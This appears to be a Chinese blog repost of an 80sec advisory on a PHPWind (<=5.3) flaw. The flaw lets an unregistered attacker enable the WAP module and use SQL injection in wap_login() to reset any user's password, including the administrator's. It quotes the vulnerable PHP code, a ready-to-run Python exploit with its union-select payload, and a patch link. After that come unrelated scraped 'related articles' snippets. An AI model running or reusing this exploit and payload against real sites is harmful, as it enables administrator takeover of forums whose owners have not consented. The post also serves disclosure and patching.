漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.phpwind.net

漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。

在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:

function wap_login($username,$password){

global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");

if($men){

$e_login=explode("|",$men['onlineip']);

if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){

$men_uid=$men['uid'];

$men_pwd=$men['password'];

$check_pwd=$password;

if($men['yz'] > 2){

wap_msg(’c');

}

if(strlen($men_pwd)==16){

$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/

}

if($men_pwd==$check_pwd){

if(strlen($men_pwd)==16){

$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);

}

$L_groupid=(int)$men['groupid'];

Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);

}else{

global $L_T;

$L_T=$e_login[2];

$L_T ? $L_T–:$L_T=5;

$F_login=”$onlineip *|$timestamp|$L_T”;

$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);

wap_msg(’login_pwd_error’);

}

}else{

global $L_T;

$L_T=600-($timestamp-$e_login[1]);

wap_msg(’login_forbid’);

}

} else {

global $errorname;

$errorname=$username;

wap_msg(’user_not_exists’);

}

Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));

Cookie(’lastvisit’,”,0);

wap_msg(’wap_login’,'index.php’);

}

甚至不用注册账户,只要精心构造username即可利用此漏洞。

漏洞利用:80sec提供exploit如下:

import urllib2,httplib,sys

httplib.HTTPConnection.debuglevel = 1

cookies = urllib2.HTTPCookieProcessor()

opener = urllib2.build_opener(cookies)

argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″

pwurl = “%s” % argvs[1]

pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”

print “Phpwind <=5.3 "

print "By 80sec "

print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]

print "[+]TargetId: "+argvs[2]

request = urllib2.Request(

url = pwurl ,

headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},

data = data)

f=opener.open(request)

headers=f.headers.dict

try :

cookie=headers["set-cookie"]

if cookie.index('winduser') :

print "[+]Exploit Success"

else : print "[-]Exploit Failed"

except:

print "[-]Exploit Failed"

漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html

本站内容均为原创,转载请务必保留署名与链接!

phpwind任意修改管理员密码漏洞:http://www.80sec.com/phpwind-admin-pass-change-vul.html

修改密码PHP博客,phpwind任意修改管理员密码漏洞相关推荐

  1. hexo的yelee主题修改左上角的博客名字颜色、修改代码模块中的引号内部的字体颜色

    一.修改左上角的博客名字颜色 路径: themes/yelee/source/css/_partial/main.styl 找到下列代码: #header{width:100%;a {color: # ...

  2. 博客主题正在修改....

    博客主题正在修改.... 转载于:https://www.cnblogs.com/lingqingxue/p/11330198.html

  3. 百信计算机管理员登录账号密码,192.168.1.1登陆入口管理员密码是多少?

    请问大家: 一般情况下,默认的登录密码是admin,但是路由器的品牌太多,没有标准,各家的路由器默认密码都不一样. 你可以在路由器的铭牌上查看,可以只有管理ip地址.域名,没有用户名.密码,那就是没有 ...

  4. 修改个人csdn博客域名

    原文出自: http://blog.csdn.net/lmj623565791/article/details/51319147: 本文出自:[张鸿洋的博客] 一.概述 哈,本篇博客不属于Androi ...

  5. 博客搭建,修改基本信息,建立个人风格

    本文首发于博客冰山一树Sankey,去博客浏览效果更好. 本博客基于Lucky大佬的博客进行优化,改成属于自己的风格,再此感谢大佬的开源,让自己节约大部分调试,以及寻找资料的时间与精力. Luck大佬 ...

  6. CSDN修改昵称和博客标题

    1.鼠标放在头像上,出现下拉菜单. 单击"账号设置"(或者"消息").跳转新的页面: 2.在新弹出的页面.点击"个人中心".点击右边的&qu ...

  7. Hexo博客 Next更换修改主题样式 不生效的解决

    在对下面的Next主题样式修改时候,博客站点可能无法正常生效. # Schemes scheme: Muse #scheme: Mist #scheme: Pisces #scheme: Gemini ...

  8. CSDN修改昵称和博客标题(用户名)

    1. 首先鼠标悬浮到头像上点击个人中心 2.跳转到个人资料页面点击左侧菜单栏中的我的博客 3.跳转到文章管理页面点击博客设置 4.跳转到博客设置页面然后设置博客标题 5.点击保存,然后查看标题 6.点 ...

  9. linux修改管理员密码后保存,各类unix和linux管理员密码丢失解决方法

    :solarisROOT密码遗忘的处理方法 1,如果还能用普通用户登陆的话,%df /etc,确定包含/etc目录分区的设备名 %df /etc / /dev/dsk/c0t0d0s0... 此例中是 ...

最新文章

  1. 深度学习之利用TensorFlow实现简单的卷积神经网络(MNIST数据集)
  2. 谈谈你对MVC和三层架构的理解?(月薪三万的面试题)
  3. 【知识图谱系列】人工智能经典图谱有哪些?
  4. 为什么下拉框拉不下来_为什么体重降不下来?4个饮食方法降低热量摄入,让体重降下来...
  5. poj 2342 树形DP
  6. java android aes加密解密_AES加密解密在JAVA和ANDROID下互通
  7. ENSP配置 实例九 动态Nat配置
  8. 作者:杨丽彬,华侨大学信息管理系讲师。
  9. 1.文档数据非结构化
  10. 华为Mate 40系列或推迟到10月底发布:顶配破万无悬念
  11. cas内外网同时访问_科普:CAS 和 ABA
  12. idea 高级调试技巧
  13. 移动应用框架 Ionic 4 Ionic for Everyone
  14. java字符如何向float转换_java – 将float转换为字符串分数表示
  15. 事务失败返回_分布式事务方案 TCC
  16. 【转】美国百所大学招生网专页~
  17. android 没有menu菜单键,android之onCreateOptionsMenu失效,按菜单键无反应
  18. AT89C51使用DAC0832数模转换,波形发生器
  19. Java中的范围限定词
  20. pngimg 可以商用吗_避免侵权!这10个免费可商用的图片网站,请一定收好

热门文章

  1. Android——浙理体育(飞翔的红蜻蜓)反编译分析
  2. 大疆激光雷达livox avia 在ubuntu18.04+ROS中基本使用方法
  3. Java 后端开发实践 - 项目模板(16 步)
  4. 简易的不科学立直麻将学习笔记(1)-进攻策略-门清编-简单的两面听向做牌指南...
  5. flutter 抓包使用教程
  6. android加载网页pdf,android 一行代码搞定加载网络 pdf 文件
  7. 最简单DIY基于ESP8266的智能彩灯②(在网页用按键和滑动条控制RGB灯)
  8. 对于电商尺码跟颜色组成的表格输入框,对输入框的操作
  9. 通过Python绘制九种二次曲面
  10. Android自动化测试之MonkeyRunner MonkeyDevice MonkeyImage API使用详解 脚本编写 脚本录制回放